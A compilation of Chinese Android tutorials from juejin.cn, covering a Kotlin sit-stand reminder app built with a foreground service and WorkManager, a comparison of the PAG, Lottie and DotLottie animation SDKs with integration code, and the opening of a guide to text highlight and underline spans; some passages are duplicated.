import com.fly.heat.constant.Config.STOP_SERVICE
import com.fly.heat.constant.Config.TASK_DEFAULT_TIME
import com.fly.heat.constant.Config.TASK_INTERVAL
import com.fly.heat.task.ActivityReminderWorker
import com.fly.heat.ui.RemindAc
import com.fly.heat.util.MMKVHelper
import java.util.concurrent.TimeUnit
class ForegroundService : Service() {
private lateinit var workManager: WorkManager
companion object {
const val NOTIFICATION_ID = 2
const val CHANNEL_ID = "ForegroundServiceChannel"
const val CHANNEL_NAME = "Foreground Service Channel"
const val DESCRIPTION = "Channel for Foreground Service"
}
override fun onCreate() {
super.onCreate()
createNotificationChannel()
workManager = WorkManager.getInstance(this)
}
@RequiresApi(Build.VERSION_CODES.Q)
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
if (intent?.action == STOP_SERVICE) {
stopServiceAndCancelTasks()
return START_NOT_STICKY
}
startForegroundService()
scheduleReminder()
return START_STICKY
}
private fun createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val channel = NotificationChannel(
CHANNEL_ID,
CHANNEL_NAME,
NotificationManager.IMPORTANCE_DEFAULT
).apply {
description = DESCRIPTION
}
val notificationManager: NotificationManager =
getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
notificationManager.createNotificationChannel(channel)
}
}
@RequiresApi(Build.VERSION_CODES.Q)
private fun startForegroundService() {
val notificationIntent = Intent(this, RemindAc::class.java)
var pendingIntent: PendingIntent? = null
pendingIntent = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
PendingIntent.getActivity(
this,
0,
notificationIntent,
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
)
} else {
PendingIntent.getActivity(
this,
0,
notificationIntent,
PendingIntent.FLAG_UPDATE_CURRENT
)
}
val notification = NotificationCompat.Builder(this, CHANNEL_ID)
.setContentTitle(this.getString(R.string.app_name))
.setContentText(
getString(R.string.remind_content,MMKVHelper.getInstance().getLong(TASK_INTERVAL,TASK_DEFAULT_TIME))
)
.setSmallIcon(R.mipmap.logo)
.setContentIntent(pendingIntent)
.build()
startForeground(
NOTIFICATION_ID,
notification,
ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC
)
}
//停止这个服务并取消所有工作请求
private fun stopServiceAndCancelTasks() {
stopForeground(STOP_FOREGROUND_REMOVE)
stopSelf()
removeNotification()
}
private fun removeNotification() {
val notificationManager =
getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
notificationManager.cancelAll()
}
override fun onDestroy() {
super.onDestroy()
// 取消所有工作请求
workManager.cancelAllWork()
}
private fun scheduleReminder() {
val taskInterval = MMKVHelper.getInstance().getLong(TASK_INTERVAL, TASK_DEFAULT_TIME)
val inputData = Data.Builder()
.putString("message", getString(R.string.please_stand_up))
.build()
val periodicWorkRequest = PeriodicWorkRequestBuilder<ActivityReminderWorker>(
taskInterval, TimeUnit.MINUTES
).setInputData(inputData)
.build()
workManager.enqueue(periodicWorkRequest)
}
override fun onBind(intent: Intent?): IBinder? {
return null
}
}
这个ForegroundService是用来启动前台通知的,同时让服务运行,便于任务在后台运行时间变长
package com.fly.heat.task
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.content.Context
import android.content.Intent
import android.media.RingtoneManager
import android.net.Uri
import android.os.Build
import android.text.format.DateFormat
import android.util.Log
import android.widget.RemoteViews
import androidx.core.app.NotificationCompat
import androidx.work.Worker
import androidx.work.WorkerParameters
import com.fly.heat.R
import com.fly.heat.ui.RemindAc
import com.fly.heat.mi_step.StepUtil
import java.util.Calendar
class ActivityReminderWorker(context: Context, private var workerParams: WorkerParameters) : Worker(context, workerParams) {
companion object {
var notificationId = 1
var channelId = "activity_reminder_channel"
var chanelName = "Activity Reminder Channel"
}
override fun doWork(): Result {
val message = workerParams.inputData.getString("message") ?: "默认消息"
Log.d("ActivityReminderWorker", "doWork: $message")
// 执行提醒逻辑
showCustomNotification()
return Result.success()
}
private fun showStep(remoteViews: RemoteViews){
remoteViews.setTextViewText(R.id.step, "步数:${StepUtil.getTodayStepsCount(applicationContext)}")
}
private fun showTime(remoteViews: RemoteViews) {
val currentTime = Calendar.getInstance().time
val formattedTime = DateFormat.format("HH:mm:ss", currentTime).toString()
remoteViews.setTextViewText(R.id.time, formattedTime)
}
private fun showCustomNotification() {
val notificationLayout = RemoteViews(applicationContext.packageName, R.layout.notification_small)
val notificationLayoutExpanded = RemoteViews(applicationContext.packageName, R.layout.notification_large)
val notificationManager = applicationContext.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
showTime(notificationLayout)
showStep(notificationLayout)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val channel = NotificationChannel(
channelId,
chanelName,
NotificationManager.IMPORTANCE_HIGH
).apply {
// 设置通道的默认声音
val soundUri: Uri = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION)
setSound(soundUri, null)
// 设置震动模式
enableVibration(false)
vibrationPattern = longArrayOf(0, 1000, 500, 1000) // 震动模式:0ms延迟,1000ms震动,5
}
notificationManager.createNotificationChannel(channel)
}
val intent = Intent(applicationContext, RemindAc::class.java)
val pendingIntent = PendingIntent.getActivity(applicationContext, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)
val notification = NotificationCompat.Builder(applicationContext, channelId)
// .setContentTitle("活动提醒")
// .setContentText("起来活动一下吧!")
.setSmallIcon(R.mipmap.sport)
.setContentIntent(pendingIntent)
.setAutoCancel(true)
// .setStyle(NotificationCompat.DecoratedCustomViewStyle())
.setCustomContentView(notificationLayout)
// .setCustomBigContentView(notificationLayoutExpanded)
.build()
notificationManager.notify(notificationId, notification)
}
}
这个ActivityReminderWorker是wokeManager具体的任务操作,这里显示一个notification来提醒用户。
package com.fly.heat.ui
import android.content.Context
import android.content.Intent
import android.os.Bundle
import android.os.CountDownTimer
import android.os.Handler
import android.os.Looper
import android.view.View
import android.widget.Button
import android.widget.Chronometer
import android.widget.TextView
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import androidx.core.content.ContextCompat
import com.example.customprogressview.ProgressCircleView
import com.fly.heat.service.ForegroundService
import com.fly.heat.R
import com.fly.heat.constant.Config
import com.fly.heat.constant.Config.STOP_SERVICE
import com.fly.heat.constant.TaskStatus
import com.fly.heat.util.MMKVHelper
class RemindAc : AppCompatActivity() {
private lateinit var chronometer: Chronometer //任务倒计时
private var countDownTimer: CountDownTimer? = null
private var btnStart: Button? = null //执行按钮
private var taskStatus = TaskStatus.READY//记录服务是否正在运行
private var tvStatus: TextView? = null //显示任务状态
private lateinit var waterView: ProgressCircleView //动画的进度显示条
private val handler = Handler(Looper.getMainLooper())
private var currentProgress = 0 //动画的当前进度
private var taskInterval = Config.TASK_DEFAULT_TIME //任务时间间隔
init {
taskInterval = MMKVHelper.getInstance().getLong(
Config.TASK_INTERVAL,
Config.TASK_DEFAULT_TIME
)
}
companion object {
fun start(context: Context) {
val intent = Intent(context, RemindAc::class.java)
context.startActivity(intent)
}
}
private lateinit var animalRunnable:Runnable;
//开始动画
private fun startProgressAnimation(duration:Long) {
val delayTime = 600*duration//延时时间 ms
animalRunnable = object : Runnable {
override fun run() {
if (currentProgress < 100) {
currentProgress += 1
waterView.setProgress(currentProgress)
handler.postDelayed(this, delayTime)
}else {
resetProgressAnimation()//重置动画
}
}
}
handler.postDelayed(animalRunnable,delayTime)
}
//停止进度动画
private fun stopProgressAnimation(){
handler.removeCallbacks(animalRunnable)
currentProgress = 0
waterView.setProgress(currentProgress)
}
//重置进度动画
private fun resetProgressAnimation() {
stopProgressAnimation()
startProgressAnimation(taskInterval)
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.ac_remind)
chronometer = findViewById(R.id.chronometer)
btnStart = findViewById(R.id.btn_remind)
tvStatus = findViewById(R.id.tv_task_status)
btnStart?.setOnClickListener {
if(taskStatus == TaskStatus.READY){
startTask()
}else if(taskStatus == TaskStatus.RUNNING){
finishTask()
}
}
waterView = findViewById(R.id.waterView)
}
//开始任务
private fun startTask() {
if (taskStatus == TaskStatus.RUNNING) {
Toast.makeText(this, getString(R.string.task_running), Toast.LENGTH_SHORT).show()
return
}else if(taskStatus == TaskStatus.READY){
taskStatus = TaskStatus.RUNNING
tvStatus?.text = getString(R.string.task_running)
startForegroundService();//开启前台任务
startCountdown()//开始倒计时
runningButton()//运行按钮可用
startProgressAnimation(taskInterval)//开始动画
}
}
//启动前台服务
private fun startForegroundService() {
val intent = Intent(this, ForegroundService::class.java)
startService(intent)
}
//结束服务并且运行任务
private fun stopForegroundService() {
val intent = Intent(this, ForegroundService::class.java).apply {
action = STOP_SERVICE
}
startService(intent)
}
private fun finishTask() {
if (taskStatus == TaskStatus.READY) {
Toast.makeText(this, getString(R.string.task_not_running), Toast.LENGTH_SHORT).show()
return
}else if(taskStatus == TaskStatus.RUNNING){
taskStatus = TaskStatus.READY
Toast.makeText(this, getString(R.string.task_finish), Toast.LENGTH_SHORT).show()
stopCountDown();//结束定时器
stopForegroundService()//结束服务
tvStatus?.text = getString(R.string.task_finish)
readyButton()//重置按钮
stopProgressAnimation()//停止进度动画
}
}
//开始任务不可用
private fun readyButton() {
btnStart?.apply {
isEnabled = true
isClickable = true
background = ContextCompat.getDrawable(context, R.drawable.round_red)
text = getString(R.string.start_task)
}
}
//开始任务可用
private fun runningButton() {
btnStart?.apply {
isEnabled = true
isClickable = true
background = ContextCompat.getDrawable(context, R.drawable.round_green)
text = getString(R.string.finish_task)
}
}
//停止计时器
private fun stopCountDown(){
chronometer.stop()
countDownTimer?.cancel()
chronometer.text = getString(R.string.start_time)
}
//开始倒计时
private fun startCountdown() {
// 15分钟倒计时,单位为毫秒
val duration = taskInterval * 60 * 1000L
countDownTimer = object : CountDownTimer(duration, 1000) {
override fun onTick(millisUntilFinished: Long) {
val minutes = millisUntilFinished / 1000 / 60
val seconds = (millisUntilFinished / 1000) % 60
chronometer.text = String.format("d:d", minutes, seconds)
}
override fun onFinish() {
chronometer.text = getString(R.string.start_time)
startCountdown()//结束后重新开始倒计时
resetProgressAnimation()//重置动画
}
}.start()
}
override fun onDestroy() {
super.onDestroy()
countDownTimer?.cancel()
}
}
这个RemindAc对应的是任务运行的app界面,这里会绘制ui,执行按钮的响应事件,开启任务执行的进度的动画,让用户清晰的看到自己任务的执行情况。比如我的时间周期是30min,那么用户从用户开始任务后,每隔30min就可以收到提醒,这就可以让我们知道需要起来活动一下了。假如你想终止任务,那么只需要结束任务哭就可以终止任务了。
package com.fly.heat.ui
import android.content.pm.PackageManager
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.View
import android.widget.Button
import android.widget.NumberPicker
import android.widget.TextView
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat
import com.example.customprogressview.ProgressCircleView
import com.fly.heat.R
import com.fly.heat.constant.Config.TASK_INTERVAL
import com.fly.heat.util.MMKVHelper
class TaskSettingAc : AppCompatActivity() {
private var btn_sumbit: Button? = null
private var numberPick: NumberPicker? = null
private var tv_time: TextView? = null
private var time: Long = 0
companion object {
const val MIN = 15
const val MAX = 120
}
private fun unableButton() {
btn_sumbit?.isEnabled = false
}
private fun enableButton() {
btn_sumbit?.isEnabled = true
}
private fun requestNotificationPermission() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
if (ContextCompat.checkSelfPermission(
this,
"android.permission.POST_NOTIFICATIONS"
) != PackageManager.PERMISSION_GRANTED
) {
ActivityCompat.requestPermissions(
this,
arrayOf("android.permission.POST_NOTIFICATIONS"),
1
)
unableButton()
} else {
enableButton()
}
}
}
override fun onRequestPermissionsResult(
requestCode: Int,
permissions: Array<out String>,
grantResults: IntArray
) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
if (requestCode == 1) {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
runOnUiThread {
// 用户授予了通知权限
Toast.makeText(this, "已获得通知权限", Toast.LENGTH_SHORT).show()
enableButton()
}
} else {
runOnUiThread {
// 用户拒绝了通知权限
Toast.makeText(this, "用户拒绝了通知权限", Toast.LENGTH_SHORT).show()
unableButton()
}
}
}
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.ac_task_setting)
initView()
requestNotificationPermission()
}
private fun initView() {
tv_time = findViewById(R.id.tv_time)
numberPick = findViewById(R.id.picker)
btn_sumbit = findViewById(R.id.submit)
initNumberPicker()
}
private fun initNumberPicker() {
numberPick?.apply {
minValue = MIN
maxValue = MAX
wrapSelectorWheel = false
setOnValueChangedListener { _, _, newVal ->
time = newVal.toLong()
tv_time?.text = String.format(getString(R.string.your_choose), time)
}
}
}
fun submit(view: View) {
if (time < 15) {
Toast.makeText(this, getString(R.string.choose_time), Toast.LENGTH_SHORT).show()
return
} else {
MMKVHelper.getInstance().putLong(TASK_INTERVAL, time)
RemindAc.start(this)
}
}
}
这个TaskSettingAc是用来设置任务的执行时间的,这就可以很灵活的控制自己需要执行任务的时间。
最后总结
技术层面:采用kotlin+notification+service+workManager的方式
生活层面:提醒在办公室坐着的我们,每隔一段时间需要起来活动一下,有益于我们的身体健康。
来源:juejin.cn/post/7429606384704995382
Android 动效方案探索
前言
我们知道在 Android 中实现动画效果,可以通过补间动画、帧动画和属性动画。对于一些简单的动画效果,用上述方式实现没啥问题。但是对于复杂的动画,无论从动态效果展示和动画资源大小,还是支持动态更新,上述三种方式都无法完全满足这种需求。这时候就需要重新考虑实现方式了,下面介绍两种市面上比较常见的动效播放 SDK,主要从如何接入和 UI 动效两方面进行介绍。
我们知道在 Android 中实现动画效果,可以通过补间动画、帧动画和属性动画。对于一些简单的动画效果,用上述方式实现没啥问题。但是对于复杂的动画,无论从动态效果展示和动画资源大小,还是支持动态更新,上述三种方式都无法完全满足这种需求。这时候就需要重新考虑实现方式了,下面介绍两种市面上比较常见的动效播放 SDK,主要从如何接入和 UI 动效两方面进行介绍。
开始
PAG
PAG(Portable Animated Graphics)是腾讯出品的一套完整动效解决方案,目标是降低或消除动效相关的研发成本,能够一键将设计师在 AE(Adobe After Effects)中制作的动效内容导出成素材文件,并快速上线应用于几乎所有的主流平台。
其中提供社区版和企业版版本供大家选择,其中企业版又提供大杯、中杯、小杯三种选择。社区版只提供基础能力,支持 2D 效果的动效展示。社区版同时支持视频和音频播放、3D 动效的展示,并且支持在线动效资源动态替换。
PAG(Portable Animated Graphics)是腾讯出品的一套完整动效解决方案,目标是降低或消除动效相关的研发成本,能够一键将设计师在 AE(Adobe After Effects)中制作的动效内容导出成素材文件,并快速上线应用于几乎所有的主流平台。
其中提供社区版和企业版版本供大家选择,其中企业版又提供大杯、中杯、小杯三种选择。社区版只提供基础能力,支持 2D 效果的动效展示。社区版同时支持视频和音频播放、3D 动效的展示,并且支持在线动效资源动态替换。
PAG 优势
高效的动效文件
- PAG 动效文件采用了二进制的数据结构来存储AE动效信息,这使得它能够非常方便地单文件集成任何资源,如位图、音频、视频资源等,实现单文件交付。
- 二进制数据结构不需要像 JSON 一样处理字符串匹配问题,解码速度可以快 90% 以上。
- 在压缩率方面,相比 JSON,二进制数据结构可以跳过 Key 的内容,只存储 Value,这样能节省大量空间。
- 经过一系列的压缩策略,导出相同的AE动效内容,PAG 在文件解码速度和压缩率上均大幅领先于同类型方案。
- PAG 动效文件采用了二进制的数据结构来存储AE动效信息,这使得它能够非常方便地单文件集成任何资源,如位图、音频、视频资源等,实现单文件交付。
- 二进制数据结构不需要像 JSON 一样处理字符串匹配问题,解码速度可以快 90% 以上。
- 在压缩率方面,相比 JSON,二进制数据结构可以跳过 Key 的内容,只存储 Value,这样能节省大量空间。
- 经过一系列的压缩策略,导出相同的AE动效内容,PAG 在文件解码速度和压缩率上均大幅领先于同类型方案。
广泛的平台支持
- PAG 支持 Android、iOS、Web、macOS、Windows、Linux 和微信小程序等平台,为开发者提供了跨平台的一致性体验。
- PAG 支持 Android、iOS、Web、macOS、Windows、Linux 和微信小程序等平台,为开发者提供了跨平台的一致性体验。
高性能的渲染
- PAG 的渲染主体通过跨平台的 C++ 来实现,所有平台均一致开启 GPU 硬件加速,确保各平台测的渲染一致性。
- 高效的动效文件和优化的渲染引擎使得 PAG 在性能上表现出色,能够轻松应对复杂场景下的动效渲染需求。
- PAG 的渲染主体通过跨平台的 C++ 来实现,所有平台均一致开启 GPU 硬件加速,确保各平台测的渲染一致性。
- 高效的动效文件和优化的渲染引擎使得 PAG 在性能上表现出色,能够轻松应对复杂场景下的动效渲染需求。
丰富的应用场景
- PAG 可以应用于照片模板、视频模板、智能剪辑等多种场景,满足设计师和开发者在不同业务场景下的需求。
- PAG 可以应用于照片模板、视频模板、智能剪辑等多种场景,满足设计师和开发者在不同业务场景下的需求。
PAG 集成
aar 集成
- 将 libpag 的 aar 文件放置在 android 工程项目的 libs 目录下。
- 添加 aar 库依赖,在 app 的 gradle 文件 app/build.gradle,添加 libpag 的库依赖。
android {
repositories {
flatDir {
dirs 'libs'
}
}
dependencies {
//libpag 的核心库
//将 libpag_enterprise_4.2.41_android_armeabi_armv7a_arm64v8a.aar 换成你下载的 aar 文件名
implementation(name: 'libpag_enterprise_4.2.41_android_armeabi_armv7a_arm64v8a.aar', ext: 'aar')
implementation("androidx.exifinterface:exifinterface:1.3.3")
}
注意: 需要在混淆列表里面,添加 libpag 的 keep 规则:
-keep class org.libpag.** {*;}
-keep class androidx.exifinterface.** {*;}
配置完以后,sync 一下,再编译。
- 将 libpag 的 aar 文件放置在 android 工程项目的 libs 目录下。
- 添加 aar 库依赖,在 app 的 gradle 文件 app/build.gradle,添加 libpag 的库依赖。
android {
repositories {
flatDir {
dirs 'libs'
}
}
dependencies {
//libpag 的核心库
//将 libpag_enterprise_4.2.41_android_armeabi_armv7a_arm64v8a.aar 换成你下载的 aar 文件名
implementation(name: 'libpag_enterprise_4.2.41_android_armeabi_armv7a_arm64v8a.aar', ext: 'aar')
implementation("androidx.exifinterface:exifinterface:1.3.3")
}
注意: 需要在混淆列表里面,添加 libpag 的 keep 规则:
-keep class org.libpag.** {*;}
-keep class androidx.exifinterface.** {*;}
配置完以后,sync 一下,再编译。
Maven 集成
这里介绍一下,PAG 一共提供六个版本(以4.2.41版本为例):
企业基础版本:com.tencent.tav:libpag-enterprise:4.2.41,不包含 Movie 模块,不支持多字节 emoji,包含素材加密和 3D 图层能力。
企业 movie 版本:com.tencent.tav:libpag-enterprise:4.2.41-movie,包含音频播放、素材加密、占位图一键替换视频、导出视频文件和 3D 图层以及多字节 emoji 的能力。
企业 noffavc 版本:com.tencent.tav:libpag-enterprise:4.2.41-noffavc,不包含 Movie 模块和多字节 emoji 能力、内部不包含软件解码器,支持解码器外部注入。
社区基础版本 com.tencent.tav:libpag:4.2.41 不支持多字节 emoji,包含 PAG 的基础能力。
社区 harfbuzz 版本 com.tencent.tav:libpag:4.2.41-harfbuzz 支持多字节 emoji 的能力。
社区 noffavc 版本 com.tencent.tav:libpag:4.2.41-noffavc 不支持多字节 emoji,内部不包含软件解码器,支持解码器外部注入。
- 在 root 工程目录下面修改 build.gradle 文件,增加mavenCentral()
buildscript {
repositories {
mavenCentral()
}
dependencies {
classpath 'com.android.tools.build:gradle:3.2.1'
}
}
- 在 app 的 gradle 文件 app/build.gradle,添加 libpag 的库依赖
dependencies {
//基础版本,如需保持最新版本,可以使用 latest.release 指代
implementation 'com.tencent.tav:libpag:latest.release'
}
这里介绍一下,PAG 一共提供六个版本(以4.2.41版本为例):
企业基础版本:com.tencent.tav:libpag-enterprise:4.2.41,不包含 Movie 模块,不支持多字节 emoji,包含素材加密和 3D 图层能力。
企业 movie 版本:com.tencent.tav:libpag-enterprise:4.2.41-movie,包含音频播放、素材加密、占位图一键替换视频、导出视频文件和 3D 图层以及多字节 emoji 的能力。
企业 noffavc 版本:com.tencent.tav:libpag-enterprise:4.2.41-noffavc,不包含 Movie 模块和多字节 emoji 能力、内部不包含软件解码器,支持解码器外部注入。
社区基础版本 com.tencent.tav:libpag:4.2.41 不支持多字节 emoji,包含 PAG 的基础能力。
社区 harfbuzz 版本 com.tencent.tav:libpag:4.2.41-harfbuzz 支持多字节 emoji 的能力。
社区 noffavc 版本 com.tencent.tav:libpag:4.2.41-noffavc 不支持多字节 emoji,内部不包含软件解码器,支持解码器外部注入。
- 在 root 工程目录下面修改 build.gradle 文件,增加mavenCentral()
buildscript {
repositories {
mavenCentral()
}
dependencies {
classpath 'com.android.tools.build:gradle:3.2.1'
}
}
- 在 app 的 gradle 文件 app/build.gradle,添加 libpag 的库依赖
dependencies {
//基础版本,如需保持最新版本,可以使用 latest.release 指代
implementation 'com.tencent.tav:libpag:latest.release'
}
注意: 需要在混淆列表里面,添加 libpag 的 keep 规则:
-keep class org.libpag.** {*;}
-keep class androidx.exifinterface.** {*;}
配置完以后,sync 一下,再编译。
示例
代码实现
在 XML 中引入 PAGImageView,然后在代码中设置动画资源并开启播放。
libpag.PAGImageView
android:id="@+id/pagImageView"
android:layout_width="0dp"
android:layout_height="0dp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent"/>
class PAGAnimActivity:AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_pag_anim)
val pagIv = findViewById<PAGImageView>(R.id.pagImageView)
//设置资源路径
pagIv.setPath("assets://data_video.pag")
//设置重复播放次数
pagIv.setRepeatCount(Int.MAX_VALUE)
//开启播放
pagIv.play()
}
}
UI 动效
Lottie
Lottie 是 Airbnb 开源的一套跨平台的完整动画效果解决方案,是一种基于 JSON 的动画文件格式,可以在任意平台进行动画播放。在不同的设备上,可以放大或缩小而不会出现像素化。在多个平台上无缝运行,大大节省了开发资源。
Lottie 优势
文件小
与 GIF 或 MP4 等其他格式相比,Lottie 动画更小,但质量保持不变。
无限可扩展
Lottie 动画基于矢量,这意味着您可以放大或缩小它们而不必担心分辨率。
多平台支持和库
对于所有开发人员来说,Lottie 的交付非常简单。您可以在 iOS、Android、Web 和 React Native 上使用 Lottie 动画,无需修改。
交互性
在 Lottie 动画中,动画元素是公开的,因此您可以操纵它们进行交互并响应滚动、点击和悬停等交互。在交互指南中了解更多信息。
Lottie 集成
配置 Gradle
dependencies {
implementation "com.airbnb.android:lottie:$lottieVersion"
}
dependencies {
implementation "com.airbnb.android:lottie:$lottieVersion"
}
目前最新的版本是 6.6.2,如需获取最新版本请戳这里。
示例
下面用两种实现方式演示 Lottie 播放动画的效果。
Kotlin 实现
首先用代码的方式实现,主要方法也进行了注释。
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
val lottieView = findViewById<LottieAnimationView>(R.id.lottieView)
//设置动画资源,资源放在assets目录下,注意这里只设置资源名称即可
lottieView.setAnimation("anim2.json")
//设置动画重复播放次数
lottieView.repeatCount = Int.MAX_VALUE
//播放动画
lottieView.playAnimation()
}
}
XML 实现
首先我们在 XML 布局中引入 LottieAnimationView,通过 lottie_fileName 设置资源文件,并设置无限轮询播放和自动开启播放。
airbnb.lottie.LottieAnimationView
android:id="@+id/lottieView"
android:layout_width="0dp"
android:layout_height="0dp"
app:lottie_fileName="anim2.json"
app:lottie_loop="true"
app:lottie_autoPlay="true"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
UI 动效
播放的效果如下图所示,动画播放流畅度还是比较丝滑的。
Lottie 详细介绍
动画资源
Lottie 支持以下来源的动画,能满足产品需求。
- 在
src/main/res/raw
目录下,json 格式的动画资源文件。 - 在
src/main/assets
目录中,json/zip/[dotLottie] 格式的动画资源文件。 - 来源于 url/InputStream 的 json 或 zip 动画资源文件 。
- JSON 字符串,来源方式不限。
动画缓存
Lottie 同样也支持动画缓存,通过 LruCache 来实现,支持最大缓存数是20。可以通过 setCacheComposition(boolean cacheComposition) 方法来决定是否开启预缓存。
全局配置
Lottie 支持全局配置,如有以下需求可以进行单独配置,放在Application进行初始化:
- 从网络加载动画时,使用自定义网络请求框架。
- 从网络获取的动画使用自定义缓存目录,摒弃原有的 Lottie 的默认目录 (
cacheDir/lottie_network_cache
)。 - 启用 Systrace 标记以进行调试。
- 自定义网络框架缓存策略,需要关闭 Lottie 的网络缓存。
Lottie.initialize(
LottieConfig.Builder()
.setNetworkFetcher(...)
.setEnableSystraceMarkers(true)
.setNetworkCacheDir(...)
.setEnableNetworkCache(false)
)
动画监听器
Lottie 支持多种动画播放状态的监听,记得注册和解注册成对出现。
lottieView.addAnimatorListener()
lottieView.addAnimatorPauseListener()
lottieView.addAnimatorUpdateListener()
自定义动画效果
通过 Lottie 实现动画基本上满足我们大部分场景需求,当然要是有特殊要求,Lottie 也支持自定义动画效果,下面示例是对动画透明度进行单独设置。
val animator = ValueAnimator.ofFloat(0f, 1f)
animator.addUpdateListener {
lottieView.alpha = animator.animatedValue as Float
}
animator.duration = 3000
animator.start()
Lottie 对 APK 大小有什么影响
非常小:
- 约 1600 种方法。
- 未压缩时为 287kb。
Lottie 的优点
- 支持更多 After Effects 功能。请参阅支持的功能以获取完整列表。
- 手动设置进度以将动画连接到手势、事件等。
- 支持网络下载动画资源。
- 可以动态改变播放速度。
- 图像支持抗锯齿。
- 动态改变动画特定部分的颜色
Lottie 的缺点
Lottie 是为矢量形状而设计的,虽然 Lottie 支持渲染图像,但使用它们也有一些缺点:
- 相同的动画效果,Lottie 使用的文件大小要比等效的矢量动画要大一个数量级。
- 当 Lottie 缩放时,动画会变得像素化。
- 用 Lottie 增加了动画的复杂性,动画资源不仅仅是一个文件,而是 json 文件加上所有图像。
DotLottie
DotLottie是一个新的 Lottie 播放器,依靠 ThorVG 进行渲染,其通过新的 dotLottie Runtimes 实现跨平台支持,拥有更快的加载速度,同时还能保证不同平台的动画一致性和高性能的表现。
DotLottie 优势
- 动画文件小:高达 80% 动画压缩,且在放大或缩小而不会出现像素化。
- 自适应主题:支持昼夜主题模式,或者自定义模式
- 支持动画资源包:资源包中的 dotLottie 文件中包含多个动画,简化动画的管理和部署。
- 高性能:dotLottie 图形处理由高性能图形引擎 ThorVG 提供支持,支持比普通 JSON 小 80% 的 dotLottie 格式。
DotLottie 集成
配置 Gradle
repositories {
maven(url = "https://jitpack.io")
}
dependencies {
implementation("com.github.LottieFiles:dotlottie-android:0.5.0")
}
repositories {
maven(url = "https://jitpack.io")
}
dependencies {
implementation("com.github.LottieFiles:dotlottie-android:0.5.0")
}
示例
下面用两种实现方式演示 DotLottie 播放动画的效果。
Kotlin 实现
首先在 XML 布局中引入 DotLottieAnimation,然后在代码里面配置相应的 Config,这里 Config 是必须要配置的,否则无法正常播放动画。
lottiefiles.dotlottie.core.widget.DotLottieAnimation
android:id="@+id/dotLottieView"
android:layout_width="0dp"
android:layout_height="0dp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
class DotLottieAnimActivity: AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_dot_lottie_anim)
val dotLottieView = findViewById<DotLottieAnimation>(R.id.dotLottieView)
val dotConfig = Config.Builder()
.autoplay(true)
.speed(1f)
.loop(true)
// 本地资源,支持.json或.lottie两种格式
// .source(DotLottieSource.Asset("anim.lottie"))
//在线资源
.source(DotLottieSource.Url("https://lottie.host/5525262b-4e57-4f0a-8103-cfdaa7c8969e/VCYIkooYX8.json"))
.playMode(Mode.FORWARD)
.useFrameInterpolation(true)
.build()
dotLottieView.load(dotConfig)
dotLottieView.play()
}
}
UI 动效
Compose 实现
用 Compose 实现相对来说简单许多,只需设置对应的资源文件和播放参数。
@Composable
fun AnimDotLottieView() {
DotLottieAnimation(
source = DotLottieSource.Asset("bicycle.lottie"),
autoplay = true,
loop = true,
speed = 1f,
useFrameInterpolation = true,
playMode = com.dotlottie.dlplayer.Mode.FORWARD
)
}
UI 动效
总结
- Lottie/DotLottie:适用于需要在多种平台上实现一致动画效果的应用场景,采用 JSON 或 Lottie 文件格式。在Android上通过Canvas绘制,并且支持动态更新动画内容。由于其轻量级和高效渲染的特点,即使在低端设备上也能保持流畅的动画效果。
- PAG:广泛应用于腾讯等公司的产品中,涵盖 UI 动画、贴纸动画、照片/视频模板等场景。采用 PAG 二进制文件格式,采用动态比特位压缩技术,所以文件体积小。渲染方式各端共享一套 C++ 实现,平台端只做接口封装,并且支持动态更新动画内容
作者:码上搬砖
来源:juejin.cn/post/7452547398670319653
来源:juejin.cn/post/7452547398670319653
Android 实现微信读书划线的效果
最近遇到过一个实现类似微信读书的划线效果的需求。如下图所示,可以看到,微信读书划线支持涂抹、直线以及波浪线三种效果。
对于涂抹效果可以使用 BackgroundColorSpan
实现,代码示例如下:
val content = SpannableStringBuilder(textView.text)
content.setSpan(BackgroundColorSpan(Color.RED), 0, content.length / 2, Spannable.SPAN_INCLUSIVE_EXCLUSIVE)
textView.text = content
效果如下图所示:
对于直线划线的效果则可以通过 UnderlineSpan
来实现,代码如下所示:
val content = SpannableStringBuilder(textView.text)
content.setSpan(UnderlineSpan(), 0, content.length / 2, Spannable.SPAN_INCLUSIVE_EXCLUSIVE)
textView.text = content
效果如下图所示:
